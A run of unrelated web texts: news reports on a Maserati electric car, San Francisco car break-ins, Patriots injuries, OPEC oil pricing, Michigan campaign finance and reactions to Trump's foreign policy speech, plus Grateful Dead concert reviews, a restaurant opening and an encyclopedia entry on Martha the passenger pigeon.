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the U.S. Additionally, three people familiar with the investigation said, investigators are examining whether Flynn and other participants discussed a way to free a Turkish-Iranian gold trader, Reza Zarrab, who is jailed in the U.S. Zarrab is facing federal charges that he helped Iran skirt U.S. sanctions.”Earlier this year, Roberto Fedeli, Maserati’s head of engineering, confirmed that he was tasked by CEO Sergio Marchionne to bring to market an all-electric vehicle before 2020. At the time, the engineer didn’t reveal much more, but a company official has now confirmed that the electric car they plan to bring to market will be based on the stunning Alfieri concept Maserati unveiled in 2014.
Peter Denton, General Manager at Maserati North Europe, confirmed the news to Gleen Brooks from just-auto during the UK launch of the Levante SUV
The Alfieri will launch with an internal combustion engine in 2019 and the battery-powered version will follow in 2020, as previously announced by Fedeli.
Denton described the size of the vehicle and where it will fit in its luxury segment:
“Alfieri will be bigger than Boxster and Cayman. It is being designed as a competitor to the 911 but it will be a larger car. More the size of a Jaguar F-TYPE”.
Here are a few pictures of the concept released by Maserati:
Sergio Marchionne, CEO of Fiat/Chrysler, Maserati’s parent company, has been clear about only developing electric vehicles for incentives, claiming that he doesn’t understand how anyone can make money selling electric cars other than to comply with government mandates.
Hopefully, they will realize the potential of electric powertrains after being pushed to develop them for compliance.Five cars parked in a row along Dolores Park — all with broken windows
Five cars parked in a row along Dolores Park all had broken windows on the morning of Friday, March 3, 2017. Five cars parked in a row along Dolores Park all had broken windows on the morning of Friday, March 3, 2017. Photo: Falzone Photo: Falzone Image 1 of / 33 Caption Close Five cars parked in a row along Dolores Park — all with broken windows 1 / 33 Back to Gallery
Five cars parked in a row along San Francisco's Dolores Park all had smashed windows on a recent morning in March.
A vandal likely broke into the cars in the middle of the night, searching through the glove boxes, center consoles, and the backseats in search of anything the cars' owners left behind that might be worth selling.
Shattered glass on the street beneath a broken car window is a common scene throughout San Francisco. And the sight on March 3, five cars in a row, all in need of window repairs that will cost $200-plus, is symbolic of the city's ongoing problem with car break-ins, especially in the Mission District.
Smash-and-grab car burglaries spiked 31 percent between 2014 and 2016, according to the San Francisco Chronicle, and the city took 25,899 reports of car break-ins in 2015, or more than 70 per day on average.
More recent car break-in data is limited. The San Francisco Police Department hasn't released a total number for 2016 breaks-ins, but SFPD spokesperson Officer Robert Rueca points to a recent report revealing 2,177 incidents in January 2016 and 2,062 in January 2017 — that's a 5 percent decrease between two isolated months.
"I totally understand the community still reeling from their cars getting broken into, but as far as citywide numbers, we're seeing that number go down, but of course that doesn't make neighbors feel any better when your car gets broken into," Rueca said. "We're recommending that people file reports online or at a district station. It's valuable information and the only way we know what's going on is when people are reporting incidents."
The Mission District reveals a different story. In January 2016, SFPD received 74 reports of vehicle burglaries and in January 2017 that number was 266, resulting in a 255 percent increase between these two months.
Those numbers come as no shock to Mission District resident Siamak Akhavan.
Akhavan is the developer and a resident of the Light House, a multi-unit building on Dolores Avenue, and said he's faced with cleaning broken auto glass from the sidewalk after 99 percent of evenings, usually due to multiple car windows being smashed.
"The historic boulevard's width and relative distance/sparsity of residences in the street make it a perfect serial break-in target," Akhavan said. "I wish the City would initiate better monitoring systems, like better patrolling, more protection of culprits, and the very least install better lighting and camera systems."
Emmy Clausing also lives in the neighborhood and is appalled at the rows of cars with splintered window glass along Dolores.
"Yes, this usually involves rows," Clausing said. "When a car that has been vandalized is still parked, the glove compartment is always wide open and contents strewn about. To me this is another sign of crime run amok; there is far more than can be managed. There is never a policeman in sight."
While SFPD says the number of car break-ins is on the wane, Ricky Villareal, manager of In & Out Auto Glass on Bayshore Boulevard, where car window repairs range from $160 to $250, has seen a steady rise in business. Five year's ago, Villareal's team was repairing on average 20 windows a day. In the summer of 2016, he said business took off and ever since he has averaged 35 a day.
"Now I don't see any downtime," Villareal said.
Something everyone can agree on is your chances of a break-in are decreased if you don't leave any valuables in the car.
An iPhone forgotten in the center console, a Patagonia jacket crumpled in the backseat, a pair of Ray Bans on the dash, and a backpack on the floor are all items that give opportunistic thieves reason to smash a window.
Dolores Heights resident Jason Lopezjones parks his cars on the street every night and has never had a window broken.
"Our cars are totally empty," Lpezjones said. "One can see through the windows that there is nothing at all inside. I do see car windows broken, and know it has happened to lots of people, but my car is on the street every single night, empty, and never a problem. Maybe that is the lesson people need to learn? Especially since the city seems unable to stop the problem."Bertha-> Greatest Story Ever Told, Friend Of The Devil, Me & My Uncle-> Big River, Bird Song-> CC Rider, Althea-> Looks Like Rain, Might As Well Playin' In The Band-> Uncle John's Band-> Drums-> The Wheel-> Playin' In The Band-> Black Peter-> Sugar Magnolia, E: Don't Ease Me In
Sbd Mcassette > DAT > CDR > EAC > SHN; via Gerald Gorinsky with thanks to Kevin Gills, Mark Perini; see info file for flaw notes
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Reviewer: njjeff - favorite favorite favorite favorite favorite - December 18, 2018
Subject: Best set of shows ever??? can anyone name a set of shows that are better than 21-23 MAY 82 at the Greek? If anyone knows, let me know so I can listen to them. You can tell how smokin a show is by just listening to Jerry's jammin on Big River 21rst and Cumberland the 22nd. - December 18, 2018Best set of shows ever???
Reviewer: [email protected] - favorite favorite favorite favorite favorite - August 9, 2018
Subject: Loved this show to no end Going back and trying to remember all the shows I saw, hundreds, this show was one of my absolute favorites. I find the Bird Song and the start of the 2nd set to be quite exceptional. And with the perspective I had in the audience, Jerry's head was right in the middle of the rainbow tie dyed arc. All the energy was shooting out of his head into the dye and morphed into laughing monkeys. (Shroomed heavy) Bobby did a solo thing at the end of Uncle John's jam and I never saw Bobby do a solo ever again. Jerry messed up the Black Peter, but it was a religious experience Black Pete. The Sugar Mags rocked so hard.
As for the next show, the first set was really good. The start of the 2nd set was also strong, but I'm was not so amazed by the 2nd night show. I do remember Mikey coming out to the front of the stage during the drums and banging on the stage. A microphone was positioned next to his drumming on the stage. That was cool. But the 3rd night they brought a motorcycle out and reved it during the drums. And the Scarlet/Fire was quite unique. So upbeat and happy and not a big space melting jam between songs. I've not heard another Scarlet/Fire like it.
The 3 night run was superb and the 1st night was the bomb! All because of the Playin' Uncle that just was so powerful and the soundboard captured the whole thing (minus my seeing energy ripples flying up the dye and forming laughing monkeys) I tried to find myself in the picture, but the resolution doesn't distinguish my face, 3 or 4 rows up a little to the bobby side of center. - August 9, 2018Loved this show to no end
Reviewer: farfromme83 - favorite favorite favorite favorite favorite - July 8, 2009
Subject: Playin>Uncle Johns got this cassette sometime in 1983...this playin>uncle johns is the best ever played by far!! I challenge anyone to find a better one. Love the rest of the show as well.... - July 8, 2009Playin>Uncle Johns
Reviewer: Dylan M - favorite favorite favorite - January 8, 2008
Subject: not as good as 5-22 These Greek shows are always good to listen to. The boys are usually having a good time and (atleast trying to) playing there best. Unfortunatly this show lacks the energy and superb setlist that the next nite gave.
Highlights include this early Bertha>Greatest combo which Is interesting to compare to later 80s versions which seem tighter, but this version still sees the boys in great vocal form.
But again, next nite is better. - January 8, 2008not as good as 5-22
Reviewer: majordomo - - December 11, 2007
Subject: jboy is evil DONT tackle 1987.please. - December 11, 2007jboy is evil
Reviewer: jboyaquar - favorite favorite favorite favorite - August 11, 2005
Subject: Compare Jerry's skill and level of playing to that of '87...there's something to be savored in every song. Just before I start to tackle the Dead's Fall '87 run, I thought I'd check out a series of hometown shows from earlier in the decade at the renowned Greek Theatre.
1st Set: A high-energy if thin vocals permeate this brisk "Bertha." Key timing by the drummers elevatea a breezy "Greatest." "FOTD" is fine, but it has this odd effect of making me yearn for a flowing, cascading 'Row.' During "Uncle" is a perfect example of a higher capabilioty in Jerry's playing, with tickling short side excursions through quirky riff(ing) territories. A Jerry difference between here and '87 is the increased amount of mobility in his playing. Never is that more evident than in this rarified "Bird Song." Those fingers show their delicacy and limberness on a rarified "Bird Song." Things stay smooth and a light hickory smokey on "CC Rider." Jerry continues leading the dynamic charge on a restful but never dull "Althea." As a confirmation that the mid-tempos tonally stand-out greater than the rockers, here may I present a "LLR." "Might" is not as -ty, as I would prefer.
2nd Set: 90 seconds of strumming/tuning kicks off the tight "Playin." Brent's quite active with his organ throughout the song; who said, "Once Again..." hmmm...odd. Anyways, it's quite lovely. As is the singular direction of an always brisk "UJB." the outro jam is primarily notable for Jerry's duel with Phil during the latter 10's early 11's. Despite the short 1st half of the set, plenty of time is given to the percussionists, and guest whistlers, during an increasingly intense "Drums." "Space" reaches some tender, sweet moments. The voices carry the day on a pretty good "Wheel." Instead, like in '87, this "Playin Reprise" is a fully formed entity, not just an excuse to play rushed rocker. "Black" starts out deceptively quiet; never quite reaches a cacophany of overpowering noise, But is refined and solemnic. "Sugar" relieves us of the previous burden, and allows for carefree dancing.
We're encoring with a breezy "Ease," which has crisp, clean Jerry leads; and, remarkable (after I've been privy to only '87 shows for the past month,) for how fresh, youthful and refueled his voice sounds.
3 2/3 stars rounded up. - August 11, 2005Compare Jerry's skill and level of playing to that of '87...there's something to be savored in every song.
Reviewer: Jeffrey-O - favorite favorite favorite favorite - May 10, 2005
Subject: Insane clarity of Sound. I love the sound of this show. one of the best sound quality shows. Reminds me of the Dec. 79' Dick's pick. A really nice show from the last great year (...1982!) the Dead were truly "Just exactly perfect!" - May 10, 2005Insane clarity of Sound.
Reviewer: Augy - favorite favorite favorite favorite favorite - October 18, 2004
Subject: A bit of vanity Well, I already reviewed the Saturady show and I feel relatively the same about all three! To reiterate, I can't emphazise enough if you have deen the photos, since like I said before they're relatively rare how wide the tie-dye was at these shows, and the performances were generally equivalent.
Now, I don't want to be too vain but this is the only show to my knowledge where I can be found in a photo in a book about Grateful Dead. (I can hardly be very vain since I appear : along with most of the rest of the audience), in the photo. Specifically, Blair Jackson's Playin' in the Band. It is, a if I recall correctly a two page shot from up above and behind the stage, looking out towards the audience just as they are obviously about to hit the final cord on a song, which I suspect is in the middle of the first set, given the amount of daylight and my recollection etc.
I can pick myself out in the crowd and if you give a... or maybe just to see if you can follow what I'm saying if you have that book; I'm in my usual spot. That is, about 1/3 back from the stage to the board, in ether the center or preferably slightly to the left, (facing the stage or stage right, which in those days as is obvious in the photo was Jerry's side; later Phil's side after as many of you already know they switched because regardless of the monitor mix, Brent complained he couldn't hear Garcia well enough). I frequently as in this photo, would leap into the air on the final beat with my left fist, (being a lefty) up. I had no shirt on and was(am), rather skinny (age 23 then),with long light brown, somewhat lighter at the ends colored hair tucked behind my ears. I don't think I had my suglasses on, but I might have had perscription glasses on yet, I don't fully recall because I don't generally wear them, since my eyes aren't that bad, but I sometimes did at concerts for extra precision.
But seriously, besides my being in the photo it is a great capture of what a Greek show was like although, given the angle one can't see the afore-mentioned tie-dye! - October 18, 2004A bit of vanity
Reviewer: mgags - favorite favorite favorite favorite - October 4, 2004
Subject: WHAT 3 NIGHT RUN! This run of shows is RIDICULOUS!
This show starts with an awesome Bertha>Greatest and really kicks in for Set 2. Playin'>Uncle John's is so sweet. The post Space segment is also very solid. I love this Black Peter. The next night would prove even better. - October 4, 2004WHAT 3 NIGHT RUN!
Reviewer: utopian - favorite favorite favorite favorite favorite - September 19, 2004
Subject: ooooooh! The sound quality of these boards is stellar.
Get all 3 nights. Rarely do shows sound this good in the early 80's. but check out 84 greeks, 81 chicago, and for the late 70's 79 fall tour.
peace
robert - September 19, 2004ooooooh!The Patriots’ fears were confirmed Monday when an MRI revealed core special teamer Nate Ebner suffered a season-ending knee injury early in Sunday’s win over the Dolphins, according to a league source.
Ebner was placed on injured reserve and it is feared he suffered a torn ACL when he went down at the conclusion of a 14-yard rush on a successful fake punt on the first series of the game.
The news was considerably better for defensive end Trey Flowers, who left the game with a rib injury after colliding with teammate Marquis Flowers during a sack of Matt Moore in the third quarter. Flower’s injury isn’t considered serious and he is week to week.
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Ebner’s right leg buckled awkwardly at the end of the play and he fell in a heap along the Patriots’ sideline. The sixth-year veteran was almost immediately ruled out for the remainder of the game. It was similar to how receiver Julian Edelman went down with the same injury in a preseason game at Detroit.
The injury is a big blow to the special teams corps as Ebner, a second-team All-Pro last season when he tied for the league-lead with 19 tackles, was the unit’s leading tackler this season with eight.
The group has been without captain Matthew Slater for six games – including the last two – because of hamstring problems. Slater did practice last week and was on the sideline Sunday, an indication his return could be imminent.
Geneo Grissom, who has played a good deal on special teams, is a strong candidate to get promoted from the practice squad to help fill in for Ebner
Trey Flowers was coy when asked about his injury after the game. Smiling, Flowers said he was taken out because he “needed a rest.’’ He deftly sidestepped further injury queries though he did say, “yeah, man’’ when asked if he’d be in Buffalo on Sunday.
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Linebacker Kyle Van Noy has a right calf strain, according to a league source, but it’s too early to tell whether he’ll miss any significant time. Van Noy has become a vital member of the defense, his role growing after Dont’a Hightower went down with a pectoral injury.
There was no immediate word on the other Patriots who were injured Sunday: linebackers Marquis Flowers (right knee) and Trevor Reilly (head) and offensive lineman LaAdrian Waddle (right ankle).If there ever was doubt about the strategy of the Organization of Petroleum Exporting Countries, its wealthiest members are putting that issue to rest.
[np_storybar title=”How $50 oil changes almost everything” link=”https://business.financialpost.com/2015/01/07/how-50-oil-changes-almost-everything/?__lsa=2fa3-8325″%5D The collapse of oil prices is a once-in-a-generation shock and will have huge reverberations around the world, say economists. Read on
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Representatives of Saudi Arabia, the United Arab Emirates and Kuwait stressed a dozen times in the past six weeks that the group won’t curb output to halt the biggest drop in crude since 2008. Qatar’s estimate for the global oversupply is among the biggest of any producing country. These countries actually want — and are achieving — further price declines as part of an attempt to hasten cutbacks by U.S. shale drillers, according to Barclays Plc and Commerzbank AG.
Crude fell 48 per cent last year and has declined 35 per cent since OPEC affirmed its output target on Nov. 27. That decision, while squeezing revenues for OPEC members in 2015, aims at preserving their market share for years to come.
“The faster you bring the price down, the quicker you will have a response from U.S. production — that is the expectation and the hope,” said Jamie Webster, an analyst at consultants IHS Inc. in Washington. “I cannot recall a time when several members were actively pushing the price down in both word and deed.”
Holding Out
Oil prices slumped again on Friday after two days of relative stability, hitting 5-3/4 year lows in search of a bottom to the market’s six-month-long rout. Benchmark Brent crude fell more than $2 to US$48.90 a barrel, its lowest since April 2009. U.S. crude was down $1.43 at $47.36 a barrel, after sliding to $47.16, also a low since April 2009.
U.S. crude production totalled 9.13 million barrels a day last week, up about 1 million barrels from a year ago and 49,000 from the OPEC meeting in November. Horizontal drilling and hydraulic fracturing in underground shale rock have boosted output by 66 per cent over the past five years. Exports, still limited by law, reached a record 502,000 barrels a day in November, according to the Energy Information Administration.
The four Middle East OPEC members are counting on combined reserve assets estimated by the International Monetary Fund at $826.4 billion to withstand the plunge in prices. Petroleum represents 63 per cent of their exports. At least 10 calls and several e-mails to the oil ministries of all four countries on Jan. 7 and yesterday weren’t answered.
The price decline will cost all 12 OPEC members a total of $257 billion in lost revenue this year, according to the EIA. Venezuela has a 93 per cent chance of defaulting on its debt over the next five years, according to CMA, a data provider owned by McGraw Hill Financial Inc. President Nicolas Maduro said Dec. 13 that “there is no possibility of default” and on Jan. 7 the country has “the capacity to obtain the financing” it needs.
[np_storybar title=”Here’s how the price of oil could fall to just $20 a barrel” link=”https://business.financialpost.com/2015/01/06/heres-how-the-price-of-oil-could-fall-to-just-20-a-barrel/”%5D With crude down below $50 a barrel today for the first time since 2009, the obvious question is how low can it go? The short answer is: much lower
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Maintain Course
OPEC won’t reverse course even if oil prices fall as low as $20 a barrel or non-OPEC countries offer to help with production cuts, Saudi Arabian Oil Minister Ali Al-Naimi said in an interview with the Middle East Economic Survey on Dec. 21. The kingdom may even bolster output if non-OPEC nations do so, he said. The global oversupply is 2 million barrels a day, or 6.7 per cent of OPEC output, Qatar estimates.
The group will stand by its decision not to cut output even if prices fall and wait at least three months before considering an emergency meeting, U.A.E. Energy Minister Suhail Al-Mazrouei said Dec. 14. He said clearing the surplus may take years, Abu Dhabi-based newspaper The National reported Jan. 6.
OPEC has no plans to meet before its next scheduled conference in June, Kuwaiti Oil Minister Ali al-Omair said on Dec. 16. Prices will recover in the second half as oil producers with the highest costs are compelled to scale back operations, he said.
‘Swift Fall’
It wouldn’t be the first time U.S. drillers are caught up in an OPEC battle for market share. In 1986, Saudi Arabia opened its taps and sparked a four-month, 67 per cent plunge that left oil just above $10 a barrel. The U.S. industry collapsed, triggering almost a quarter-century of production declines, and the Saudis regained their leading role in the world’s oil market.
“It seems in their interest to have a swift fall rather than a slow, grinding fall,” Miswin Mahesh, an analyst at Barclays in London, said by phone. “A swift drop in prices would bring more changes to non-OPEC supply,” while a more gradual decline would let companies in other oil nations “merge and become more efficient.”
Not all share this view. UBS AG analysts said that hastening a price slump isn’t a practical strategy because oil demand and supply respond too slowly to price changes.
Undermine Prices
“I doubt that they target a lower price,” Giovanni Staunovo, an analyst at UBS in Zurich, said by e-mail on Jan. 5. “Supply and demand are quite inelastic in the short-term.”
Saudi Arabian oil ministers sought to undermine prices in the 1980s and 1990s with their public comments, according to Amy Myers Jaffe, executive director of energy and sustainability at the University of California-Davis. The tactic was used to pressure other OPEC members into agreeing to quota changes, she said.
There are signs that OPEC’s approach is starting to work. Rigs targeting oil in the U.S. declined for the sixth time in seven weeks, by 17 to 1,482 last week, Baker Hughes Inc. said on its website on Jan. 5. There will be a serious decline in U.S. shale oil investment in 2015, Fatih Birol, chief economist of the International Energy Agency in Paris, said on Dec. 22
“Some OPEC countries, most specifically Gulf states, obviously think that it’s best to get unpleasant things over and done with,” Eugen Weinberg, head of commodities research at Commerzbank AG, said by e-mail from Frankfurt. “The recent wordings showed they are still firm about this strategy.”
Bloomberg.comA campaign committee controlled by Republican leaders is facing fines and questions over how it lost track of many thousands of dollars during the last election.
No campaign committee in Michigan was busier in the 2016 election cycle than the House Republican Campaign Committee. It was locked in a fierce battle with Democrats for control of the Michigan House of Representatives. With control of the governor’s office and the state Senate already in hand, Republicans were anxious to maintain their dominance in Lansing, while Democrats were fighting for a seat at the table.
“The House Republican Campaign Committee raised more money than any other committee in the 2015-2016 election cycle and it spent the second most and it was one of the two biggest players in what was the most expensive battle for control of the state House in Michigan history,” says Craig Mauger of the Michigan Campaign Finance Network, which partnered with Michigan Public Radio in this reporting project.
The investigation found the House Republican Campaign Committee lost track of more than $100,000 in its campaign fund. Both the Republican and Democratic campaign funds spent about $4 million dollars in the last election cycle.
There are often errors in campaign expense reports, but this one is big – the biggest in memory, according to the spokesman for the Michigan Bureau of Elections.
The problem went unreported for months until an attorney for the fund notified the state Bureau of Elections in late January about the discrepancy, according to communications revealed from a Freedom of Information Act request. The attorney, Eric Doster, said the fund had cleaned house, replaced key figures within the organization and the top Republican in the state House, Speaker Tom Leonard, ordered an audit.
Leonard would not speak on the record. But Stu Sandler, a political consultant for the House Republican Campaign Committee, said when the problem was discovered:
"We immediately hired an attorney. We hired an audit team. We notified the Secretary of State’s office. Once we finish the audit, we plan to work with the Secretary of State (which houses the Bureau of Elections) to ensure our campaign finance reports are filed accurately.”
Sandler stressed that whatever went wrong happened under the previous Republican leadership team led by then-House Speaker Kevin Cotter. A statement from Cotter says he’s working with the auditors.
So, what happened to that money? Where did that $100 thousand from donors and political action funds go? We don’t know yet.
Everyone’s waiting now for the House Republicans to finish the audit and file updated spending reports.
“Certainly, we’ll review them and take action as appropriate once we review the revised filings,” says Fred Woodhams, spokesman for Secretary of State Ruth Johnson and the state Bureau of Elections. He says no one in his shop can remember a bigger error of this type.
It’s too early to tell if any laws were broken. But, at the very least, fines are likely because state law requires that all political expenditures are reported.
Craig Mauger of the Michigan Campaign Finance Network says spending reports give the public a glimpse into how campaigns are being run, and whether they’re being honest, ethical, and responsible with donor dollars.
He says, it’s true, the campaign committee reported the error, “but when the self-reporting happens months after the election wherein the problems happened, it inhibits the public’s ability to weigh how the money is influencing the races.”
Mauger says the public was denied a fuller picture of how the campaigns were handled, and who was paying to get their local representatives elected.
The next step is to see what the Republicans’ internal audit turns up, how the missing money was spent, and who gets blamed.LONDON (Reuters) - Donald Trump’s first major foreign policy address alarmed American allies, who view the Republican front runner’s repeated invocation of an “America first” agenda as a threat to retreat from the world.
While most governments were careful not to comment publicly on a speech by a U.S. presidential candidate, Germany’s foreign minister veered from that protocol to express concern at Trump’s wording.
“I can only hope that the election campaign in the USA does not lack the perception of reality,” Frank-Walter Steinmeier said.
“The world’s security architecture has changed and it is no longer based on two pillars alone. It cannot be conducted unilaterally,” he said of foreign policy in a post-Cold War world. “No American president can get round this change in the international security architecture.... ‘America first’ is actually no answer to that.”
Carl Bildt, a former Swedish prime minister and foreign minister who served as UN envoy to the Balkans in the aftermath of the Yugoslav wars of the 1990s, said he heard Trump’s speech as “abandoning both democratic allies and democratic values”.
“Trump had not a word against Russian aggression in Ukraine, but plenty against past U.S. support for democracy in Egypt,” Bildt said on Twitter, referring to lines from Trump’s speech that criticized the Barack Obama administration for withdrawing support for autocrat Hosni Mubarak during a 2011 uprising.
“FIRST ISOLATIONIST CANDIDATE”
Trump’s speech, uncharacteristically read out from a teleprompter, seemed aimed at showing a more serious side of a politician who has said he intends to act more “presidential” after months of speaking mainly off the cuff.
He promised “a disciplined, deliberate and consistent foreign policy” in contrast to the “reckless, rudderless and aimless” policies of Obama and former Secretary of State Hillary Clinton, Trump’s likely Democratic opponent if he secures the Republican nomination.
The speech included no dramatic new policy proposals that might generate headlines, such as his past calls to bar Muslims from entering the United States or to build a wall on the frontier with Mexico.
Where he was specific, like rejecting the terms of last year’s nuclear deal with Iran, calling for more investment in missile defense in Europe and accusing the Obama administration of tepid support for Israel, he was firmly within the Republican mainstream.
A major theme — that more NATO allies should spend at least 2 percent of their economic output on defense — is one that has also been taken up by the Obama administration itself, including repeatedly during the president’s visit to Europe last week.
Nevertheless, Trump’s rhetoric raised alarm in allied countries that still rely on the superpower for defense, particularly the phrase “America first”, used in the 1930s by isolationists that sought to keep the United States out of World War Two.
Former South Korean Vice Foreign Minister Kim Sung-han, who now teaches at the Korea University in Seoul, said Trump would be “the first isolationist to be U.S. presidential candidate, while in the post-war era all the U.S. presidents have been to varying degrees internationalists.”
“Saying the U.S. will no longer engage in anything that is a burden in terms of its relationships with allies, it would be almost like abandoning those alliances,” he said. “It will inevitably give rise to anti-American sentiment worldwide.”
Xenia Wickett, head of the U.S. and Americas Programme at Britain’s Chatham House think tank, said the speech “suggests Trump would make America’s allies less secure rather than more.
“He talked about allies being confident but all of his rhetoric suggested that America should be unpredictable and that America’s allies needed to stand up for themselves.”
Republican U.S. presidential candidate Donald Trump delivers a foreign policy speech at the Mayflower Hotel in Washington, US April 27, 2016. REUTERS/Kevin Lamarque
“DISASTER”
Earlier in the U.S. nomination process, foreign leaders were not shy to condemn Trump openly and publicly.
In December, when Trump called for his temporary ban on admitting Muslims, British Prime Minister David Cameron called him “divisive, stupid and wrong”. Hundreds of thousands of Britons signed a petition calling for Trump to be banned from Britain for hate speech, which was taken up in parliament. Cameron declined to ban Trump, but said: “If he came to visit our country, I think he would unite us against him.”
In January, German Vice Chancellor Sigmar Gabriel lumped Trump together with the leaders of European far-right parties as “not only a threat to peace and social cohesion, but also to economic development”.
These days, with Trump now seen as likely to win his party’s nomination, European officials are more circumspect in public, but sound no less alarmed in private.
A Trump presidency “would be a disaster for EU-U.S. ties,” said one senior EU official involved in shaping foreign policy in Brussels.
“Right now, we and the Obama administration generally understand each other. I don’t think we understand Donald Trump. He has no understanding of the delicate, complex nature of foreign policy on Europe’s doorstep.”
Nevertheless, some of the policies Trump shares with other Republicans do have sympathetic audiences abroad.
Ryszard Terlecki, head of the parliamentary group of Poland’s ruling rightwing Law and Justice party, said Trump had a point when criticizing the Obama administration for backing away from plans for increased missile defense.
“This decision influenced very badly the security of this part of Europe. If it weren’t for that, the conflict in Ukraine would not escalate,” he told Reuters.
Israeli Prime Minister Benjamin Netanyahu has strongly opposed the Obama administration’s deal with Iran, and Trump’s speech, like an earlier one to a pro-Israel lobby group in Washington, went down well with some right-leaning Israelis.
Slideshow (5 Images)
“Trump wants an America that is decent, strong, loyal - but also no patsy. And he sees in Israel the most loyal ally of the U.S.” wrote Boaz Bismuth, diplomatic correspondent for the pro-Netanyahu daily Israel Hayom.
In the Arab world, where governments and their citizens are also alarmed at the rise of non-Arab Iran, Trump’s strong rejection of the deal with Tehran is a popular position that would have been embraced if expressed by another candidate.
But Trump’s previous call to ban Muslims from the United States has made him anathema in the region. Emirati political analyst Abdulkhaleq Abdullah said no speech would be enough to salvage his reputation there: “He’s a racist and a chauvinist who will never be widely welcomed in the Arab world.”
Or, as Kuwaiti twitter user Mohammed al-Ammar wrote: “Some of his speech is correct and logical, but the problem is, he’s still #Trump.”Horrifying accusations of sexual abuse are being leveled against a former teacher at Monsignor Edward Pace High School in Miami Gardens. In a lawsuit, three former students accuse Brother Kenneth Ward of sexually abusing them while he was the dean of students from 2000 to 2006. (Published Wednesday, Aug. 28, 2013)
Horrifying accusations of sexual abuse are being leveled against a former teacher at Monsignor Edward Pace High School in Miami Gardens.
In a lawsuit, three former students accuse Brother Kenneth Ward of sexually abusing them while he was the dean of students from 2000 to 2006.
Attorney Ira Leesfield represents the alleged victims and says: "This was not isolated. It wasn't one time. In the case of one of the boys it was over 80 individual times that he was sexually abused. "
The Archdioceses of Miami is also named in the lawsuit filed on behalf of the three young men identified only as John Does.
Lauren's Kids Walk Raises Sex Abuse Awareness
Lauren Book with Walk in My Shoes, a 1,500-mile walk from Key West to Tallahassee, met with the Broward Sheriff's Office Child Protective Investigations Section and elementary school students on Monday to discuss ways to stop sexual abuse cases in Broward. NBC 6's David Jeannot reports. (Published Monday, March 25, 2013)
The church is accused of ignoring obvious signs that the boys were being victimized by Ward.
18-Year-Old in Coma After Breast Augmentation Needs Tracheotomy
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that this is finally on the verge of happening.Eater Boston is reporting via The Tufts Daily) that the Dave's Fresh Pasta folks are opening a new place called Semolina Kitchen and Bar on Boston Avenue late this spring, with the eatery being more of a sit-down spot than Dave's and offering breakfast, lunch, and dinner. The articles mention that the restaurant will have such items as coffee and pastries in the morning, while pizza will be one of the items available at lunch and dinner. (Cocktails will be offered as well.)The original Dave's Fresh Pasta first opened on Holland Street in Davis Square a bit more than 15 years ago.The address for this upcoming restaurant in Medford is: Semolina Kitchen and Bar, 574 Boston Avenue, Medford, MA, 02155.[July 13 update: A new article from Eater Boston says that Semolina Kitchen and Bar could be opening in the next two weeks.][August 23 update: The Medford Transcript states that Semolina Kitchen and Bar is now officially open in Medford for breakfast, lunch, and dinner.][Earlier Article]Follow us on Twitter at @hiddenboston
Labels: Italian restaurants, Medford restaurants, pizza, restaurant openingsMartha (c. 1885 – September 1, 1914) was the last known living passenger pigeon (Ectopistes migratorius); she was named "Martha" in honor of the first First Lady Martha Washington.
Early life [ edit ]
The stuffed skin of Martha in 1921
The history of the Cincinnati Zoo's passenger pigeons has been described by Arlie William Schorger in his monograph on the species as "hopelessly confused," and he also said that it is "difficult to find a more garbled history" than that of Martha.[1][2] The generally accepted version is that, by the turn of the 20th century, the last known group of passenger pigeons was kept by Professor Charles Otis Whitman at the University of Chicago.[3] Whitman originally acquired his passenger pigeons from David Whittaker of Wisconsin, who sent him six birds, two of which later bred and hatched Martha in about 1885.[4] Martha was named in honor of Martha Washington.[5] Whitman kept these pigeons to study their behavior, along with rock doves and Eurasian collared-doves.[6] Whitman and the Cincinnati Zoo, recognizing the decline of the wild populations, attempted to consistently breed the surviving birds, including attempts at making a rock dove foster passenger pigeon eggs.[7] These attempts were unsuccessful, and Whitman sent Martha to the Cincinnati Zoo in 1902.[8][9]
However, other sources argue that Martha was instead the descendant of three pairs of passenger pigeons purchased by the Cincinnati Zoo in 1877.[1] Another source claimed that when the Cincinnati Zoo opened in 1875, it already had 22 birds in its collection.[10] These sources claim that Martha was hatched at the Cincinnati Zoo in 1885, and that the passenger pigeons were originally kept not because of the rarity of the species, but to enable guests to have a closer look at a native species.[11]
Cincinnati Zoo [ edit ]
By November 1907, Martha and her two male companions at the Cincinnati Zoo were the only known surviving passenger pigeons after four captive males in Milwaukee died during the winter.[10] One of the Cincinnati males died in April 1909, followed by the remaining male on July 10, 1910.[10][11] Martha soon became a celebrity due to her status as an endling, and offers of a $1000 reward for finding a mate for Martha brought even more visitors to see her.[11][12] Several years before her death Martha suffered an apoplectic stroke, leaving her weakened; the zoo built a lower roost for her as she could no longer reach her old one.[13] Martha died at 1 p.m. on September 1, 1914 of old age.[14] Her body was found lifeless on her cage's floor.[2] Depending on the source, Martha was between 17–29 years old at the time of her death, although 29 is the generally accepted figure.[9]
After death [ edit ]
Martha after being skinned
After her death, Martha was quickly brought to the Cincinnati Ice Company, where she was held by her feet and frozen into a 300-pound (140 kg) block of ice.[12] She was then sent by express train to the Smithsonian, where she arrived on September 4, 1914, and was photographed.[12][14] She had been molting when she died, and as such she was missing a few feathers, including some of her longer tail feathers.[14] William Palmer skinned Martha while Nelson R. Wood mounted her skin.[14] Her internal parts were dissected by Robert Wilson Shufeldt and are also preserved and kept by the National Museum of Natural History.[14][15]
Martha in 2015
Martha's 1956 display at the Smithsonian Institution
From the 1920s through the early 1950s she was displayed in the National Museum of Natural History's Bird Hall, placed on a small branch fastened to a block of Styrofoam and paired with a male passenger pigeon that had been shot in Minnesota in 1873.[15][16] She was then displayed as part of the Birds of the World exhibit that ran from 1956 to 1999.[15] During this time she left the Smithsonian twice—in 1966 to be displayed at the Zoological Society of San Diego's Golden Jubilee Conservation Conference, and in June 1974 to the Cincinnati Zoo for the dedication of the Passenger Pigeon Memorial.[15][15] When the Smithsonian shut down its Birds of the World exhibit, Martha was removed from display and kept in a special exhibit at the Cincinnati Zoo.[5][16] Martha was back on display in the Smithsonian from June 2014 to September 2015 for the exhibit Once There Were Billions.[17]
Cultural significance [ edit ]
Martha has become a symbol of the threat of extinction. She was used at the Zoological Society of San Diego's 1966 Golden Jubilee Conservation Conference as a mascot to emphasize the need for conservation.[12] A Harvard historian has described Martha's remains as "an organic monument, biologically continuous with the living bird she commemorates, the embodiment of extinction itself."[12] Many authors writing about extinction have made what one described as a "strange pilgrimage" to see her remains.[16]
